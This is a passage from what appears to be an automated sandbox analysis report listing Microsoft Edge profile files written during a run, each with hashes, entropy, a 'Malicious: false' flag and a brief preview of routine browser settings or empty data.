SHA1:	DC4192A5388EB83CFB3F15FC1D2754DC6A3C9E6B
SHA-256:	B3CC5D2E383FE7AF2A939AF0FB460943DE86F4F268D7DB026636F26C5F2E92BC
SHA-512:	920BF86E942BC9D6256F3467A440D09BD5F94C72D7BFA1D3C85FC48826E807F0D444988A0AE545E07DA35248CFA8129F5F9879D8EC18C26CC250BF15A44E28DF
Malicious:	false
Preview:	2024/11/20-08:43:27.821 1984 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-08:43:27.822 1984 Recovering log #3.2024/11/20-08:43:27.826 1984 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\056b982b-1198-4018-a9d3-95bd8b9e1b04.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0ae1f557-b02e-4d4e-94fd-03fc80fb1e9a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\875c6bc4-0044-46b1-9b97-b67ca0193969.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.307532964331427
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsZbVXZVMdmRdsZTXZFRudFGRw6maPsw6C1VdsGyZC52H0HQYA:YcCpfgCzsZjtsZlfc7kBRsTCgH0wYhbm
MD5:	1379237E2364B27CD334F01E1005BC89
SHA1:	E6A71C21A6A17D640C20D113BD13ED90DAEFFEA6
SHA-256:	693D8D8A8B26D0352856C40D3BCDDD0A1F9D7C172D945263B02630B25C17DCF7
SHA-512:	57F2C0A1C34ED2BA6EC04C68592B1177C3EDF75C4B26A7CCA5F77BAED5E03F5AFBFCA1DBE7872302C9C186FCD7347F156243B7EC77D39482F5B26306E5C0FEEE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379175811948491","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379175816915258","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.774277544904287
Encrypted:	false
SSDEEP:	192:tTQjg+Qm+4TVsRBgBBvd/9G5AggdEMvA2mymrf6Ub6DEzEsp0ttXcf0L/ZJVb:VOVQCnVVoX0aBtqEzOXI0LhJVb
MD5:	33E6EF2DBFC93DCCACCD633D5A487FE2
SHA1:	EAE55EA7B479266178DC61F03A4C6CA070F65BD0
SHA-256:	E411722C2C0675FE644BC5B629AC79B5D62760F00F56EA9CF021FBD5AA63562E
SHA-512:	AECD5CFAFCD396633551EE5090103C93F75D7F416F703FAC471121E0DBAA47D594AA66D62F117FC313D5758CDB0766290EE28A06E6DA3843F4079054420370CC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4c6f6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2801121337276493
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBm/:JkIEumQv8m1ccnvS6mvNGA+iiNL51a
MD5:	A5578E20582195839A0BF8BF6426D361
SHA1:	92EF85A8150AD05421934A749AFE2DEEA70EDCB1
SHA-256:	C145774352DB628D269EA140A7043D133ACDFFB4278C3565113D8CB799DDEE15
SHA-512:	2E6ACA5A1351BA6A742AC22A47ACF7833522FC493756F18A10F8842AC5595EC4274C3BD895508ADC8C7BD4EEED5E6D75A67A693844F532E3855CEADF9FEFB24F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3bb23.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d1a9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ac1e31ae-5662-4067-8a5b-312cd96e23fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c7e6d3e3-e840-42b0-8d27-6aace4e63d87.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ca1acacd-fffc-4f56-9f5b-bd9beabaa42c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.110779405906752
Encrypted:	false
SSDEEP:	192:stYkdplsfVZaFvrE9k7rVG8lbV+FreQARUDPTYJ:stYQlsfVZCD13bGKQL8
MD5:	9D59354B55A745BD7E0B825E8F5F89CA
SHA1:	82884711AC2CE8AE834CFA2B443144AB2A55E2BE
SHA-256:	2790F1C2D670702A04E7BB0FBA1F647F2F151BACE491D9E7A8D5FF5787DD36C7
SHA-512:	06688CA266592F24D4DA60C250CC621BBEE43795914CB4C2C3D1AF857E1781814F49054FC3749AD4704CD4233052AE9E8A76E5D7F736005DAED723E20BF77735
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376583808094342","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40358.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.110779405906752
Encrypted:	false
SSDEEP:	192:stYkdplsfVZaFvrE9k7rVG8lbV+FreQARUDPTYJ:stYQlsfVZCD13bGKQL8
MD5:	9D59354B55A745BD7E0B825E8F5F89CA
SHA1:	82884711AC2CE8AE834CFA2B443144AB2A55E2BE
SHA-256:	2790F1C2D670702A04E7BB0FBA1F647F2F151BACE491D9E7A8D5FF5787DD36C7
SHA-512:	06688CA266592F24D4DA60C250CC621BBEE43795914CB4C2C3D1AF857E1781814F49054FC3749AD4704CD4233052AE9E8A76E5D7F736005DAED723E20BF77735
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376583808094342","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43ff3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.110779405906752
Encrypted:	false
SSDEEP:	192:stYkdplsfVZaFvrE9k7rVG8lbV+FreQARUDPTYJ:stYQlsfVZCD13bGKQL8
MD5:	9D59354B55A745BD7E0B825E8F5F89CA
SHA1:	82884711AC2CE8AE834CFA2B443144AB2A55E2BE
SHA-256:	2790F1C2D670702A04E7BB0FBA1F647F2F151BACE491D9E7A8D5FF5787DD36C7
SHA-512:	06688CA266592F24D4DA60C250CC621BBEE43795914CB4C2C3D1AF857E1781814F49054FC3749AD4704CD4233052AE9E8A76E5D7F736005DAED723E20BF77735
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376583808094342","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b514.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9860
Entropy (8bit):	5.110779405906752
Encrypted:	false
SSDEEP:	192:stYkdplsfVZaFvrE9k7rVG8lbV+FreQARUDPTYJ:stYQlsfVZCD13bGKQL8
MD5:	9D59354B55A745BD7E0B825E8F5F89CA
SHA1:	82884711AC2CE8AE834CFA2B443144AB2A55E2BE
SHA-256:	2790F1C2D670702A04E7BB0FBA1F647F2F151BACE491D9E7A8D5FF5787DD36C7
SHA-512:	06688CA266592F24D4DA60C250CC621BBEE43795914CB4C2C3D1AF857E1781814F49054FC3749AD4704CD4233052AE9E8A76E5D7F736005DAED723E20BF77735
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376583808094342","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.56527233150775
Encrypted:	false
SSDEEP:	768:SuQq8DWt8W5w7Tf4RU8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPEcIPMJbrwXTp9tul:SdrDS8Wa7TfgUu1ja9p4wPta
MD5:	4EDB3606668AD93C34389D3361B5D55F
SHA1:	3E97432AD02CE090476E591D727B8B461121C8CB
SHA-256:	9A9F62AE4EFBB3664AA286A2C7A6D45EA073DC918BB736A0D5D85EAA2B3B6382
SHA-512:	63D0173B4DEAC473792020329047ED0E64D8E7A6777B6B25ECAE743EF2584075162DA4FA5E01408283CCB6C5C092CE50EA74E82D4F9DA9C7AAFB7EB13C2B9110
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376583807412230","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376583807412230","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f231.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.56527233150775
Encrypted:	false
SSDEEP:	768:SuQq8DWt8W5w7Tf4RU8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPEcIPMJbrwXTp9tul:SdrDS8Wa7TfgUu1ja9p4wPta
MD5:	4EDB3606668AD93C34389D3361B5D55F
SHA1:	3E97432AD02CE090476E591D727B8B461121C8CB
SHA-256:	9A9F62AE4EFBB3664AA286A2C7A6D45EA073DC918BB736A0D5D85EAA2B3B6382
SHA-512:	63D0173B4DEAC473792020329047ED0E64D8E7A6777B6B25ECAE743EF2584075162DA4FA5E01408283CCB6C5C092CE50EA74E82D4F9DA9C7AAFB7EB13C2B9110
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376583807412230","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376583807412230","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
